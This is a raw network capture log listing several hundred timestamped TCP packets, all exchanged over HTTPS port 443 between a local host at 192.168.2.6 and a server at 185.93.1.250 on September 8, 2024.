Sep 8, 2024 09:53:41.080723047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.080777884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.080782890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.080826044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.081363916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.081383944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.081451893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.081455946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.081482887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.081499100 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.182724953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.182738066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.182796955 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.182804108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.182837009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.182852983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.182879925 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.182890892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.182914972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.182957888 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.183250904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.183265924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.183319092 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.183325052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.183360100 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.183432102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.183449030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.183474064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.183478117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.183505058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.183531046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.184048891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.184063911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.184111118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.184115887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.184148073 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.184228897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.184245110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.184293985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.184298038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.184329033 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.185065985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.185081959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.185123920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.185128927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.185152054 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.185153008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.185180902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.185182095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.185203075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.185214043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.185246944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.185267925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.185281992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.185321093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.185324907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.185355902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.186336994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.186367035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.186391115 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.186395884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.186425924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.186592102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.186609030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.186635971 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.186640978 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.186666012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.186695099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.187417030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.187434912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.187485933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.187490940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.187520027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.187534094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.187546015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.187561989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.187565088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.187593937 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.187616110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.188256979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188282967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188328981 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.188330889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188344955 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188364983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188380957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.188386917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188404083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.188430071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.188607931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188626051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188663006 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.188668013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188705921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.188796043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188817024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188841105 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.188846111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.188874006 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.188889027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.189337015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.189351082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.189399958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.189404011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.189439058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.189843893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.189857006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.189899921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.189904928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.189935923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.190041065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190056086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190095901 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.190100908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190109968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190131903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190133095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.190150023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190157890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.190213919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.190635920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190650940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190681934 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.190685987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190711021 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.190726042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.190831900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190851927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190881968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.190886021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.190920115 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.191014051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.191035986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.191059113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.191063881 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.191087961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.191103935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.191288948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.191308975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.191351891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.191356897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.191389084 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.192061901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.192085981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.192116976 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.192121029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.192157030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.192226887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.192243099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.192272902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.192276955 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.192295074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.192311049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.192341089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.192359924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.192405939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.192414045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.192460060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.192971945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.193010092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.193031073 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.193034887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.193072081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.193088055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.193248034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.193274975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.193296909 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.193300962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.193325996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.193329096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.193342924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.193346977 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.193373919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.193375111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.193407059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.193411112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.193433046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.193463087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.195532084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.195554972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.195589066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.195595026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.195620060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.195636988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.195982933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.195997953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196027040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.196032047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196058989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.196242094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196263075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196285963 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.196290016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196314096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.196333885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.196425915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196439981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196485996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.196490049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196508884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.196527958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.196661949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196681976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196711063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.196719885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.196741104 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.196757078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.197221041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.197235107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.197273016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.197278023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.197313070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.197384119 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.197400093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.197448015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.197452068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.197484016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.197873116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.197886944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.197931051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.197935104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.197962046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.197972059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.197989941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198051929 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.198051929 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.198055983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198091984 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.198481083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198509932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198549032 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.198553085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198604107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.198672056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198689938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198731899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.198740959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198775053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.198795080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198811054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198837042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.198841095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.198867083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.198884010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.199347019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.199361086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.199399948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.199404955 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.199431896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.199609995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.199624062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.199666023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.199670076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.199706078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.199757099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.199773073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.199814081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.199817896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.199867964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.200301886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200315952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200361013 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.200365067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200395107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.200427055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200440884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200464010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.200469017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200493097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.200508118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.200737000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200762033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200807095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.200812101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200845957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.200920105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200932980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.200968027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.200972080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.201006889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.201081038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.201095104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.201126099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.201129913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.201157093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.201173067 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.201950073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.201968908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202004910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202017069 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.202024937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202038050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202048063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.202083111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.202095032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202107906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202135086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.202138901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202159882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.202827930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202843904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202872038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.202876091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202902079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.202919006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202933073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202956915 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.202960968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.202984095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.202986956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.203003883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.203031063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.203036070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.203058958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.203475952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.203490019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.203531981 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.203536987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.204390049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.204406977 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.204435110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.204440117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.204457045 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.204509974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.204523087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.204546928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.204551935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.204574108 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.205318928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.205338001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.205398083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.205410957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.205626965 CEST	49710	443	192.168.2.6	185.93.1.250
